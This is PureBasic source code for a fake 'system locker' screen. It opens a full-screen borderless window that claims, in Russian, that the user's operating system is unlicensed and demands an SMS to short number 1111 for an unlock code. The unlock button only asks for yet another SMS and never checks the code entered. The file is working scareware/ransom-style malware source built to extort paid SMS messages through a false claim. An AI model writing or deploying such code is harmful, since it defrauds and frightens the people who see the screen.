Enumeration  
#Window_0  
EndEnumeration
If OpenWindow(#Window_0, 0, 0, GetSystemMetrics_(#SM_CXSCREEN), GetSystemMetrics_(#SM_CYSCREEN), "Borderless Window", #PB_Window_BorderLess | #PB_Window_ScreenCentered)  
   
  SetWindowLong_(WindowID(#Window_0), #GWL_EXSTYLE, #WS_EX_TOOLWINDOW)  
   
  TextGadget(9, GetSystemMetrics_(#SM_CXSCREEN)/2-400,GetSystemMetrics_(#SM_CYSCREEN)/2-200,800,30, " Вы используете нелицензионную Операционную Систему !")  
  SetGadgetFont(9, LoadFont(8, "Courier New", 18, #PB_Font_Bold))  
  SetGadgetColor(9, #PB_Gadget_FrontColor, $0000ff)  
   
  TextGadget (10,GetSystemMetrics_(#SM_CXSCREEN)/2-250,GetSystemMetrics_(#SM_CYSCREEN)/2-150,350,20, "Отправь SMS на короткий номер 1111 с кодом 8 093 88 645 59")  
  TextGadget (11,GetSystemMetrics_(#SM_CXSCREEN)/2-250,GetSystemMetrics_(#SM_CYSCREEN)/2-120,300,20, "В ответном SMS получите код разблокировки")  
  StringGadget(12,GetSystemMetrics_(#SM_CXSCREEN)/2-250,GetSystemMetrics_(#SM_CYSCREEN)/2- 90,200,20,"")  
  TextGadget (13,GetSystemMetrics_(#SM_CXSCREEN)/2- 40,GetSystemMetrics_(#SM_CYSCREEN)/2- 90,210,20, "<== вставьте сюда код разблокировки")  
  ButtonGadget(14,GetSystemMetrics_(#SM_CXSCREEN)/2-230,GetSystemMetrics_(#SM_CYSCREEN)/2- 50, 100, 20, "Разблокировать")  
   
  AddKeyboardShortcut(0, #PB_Shortcut_Escape, 1)  
   
EndIf

Repeat  
  Select WaitWindowEvent()  
  Case #PB_Event_Gadget  
  If EventGadget() = 14  
  MessageRequester("Служба разблокировки", "Просим поддтвердить Ваше желание разброкировать систему." + Chr(10) + " Отправьте еще одно SMS", #MB_OK|#MB_ICONINFORMATION)  
  EndIf  
  EndSelect  
Until EventMenu() = 1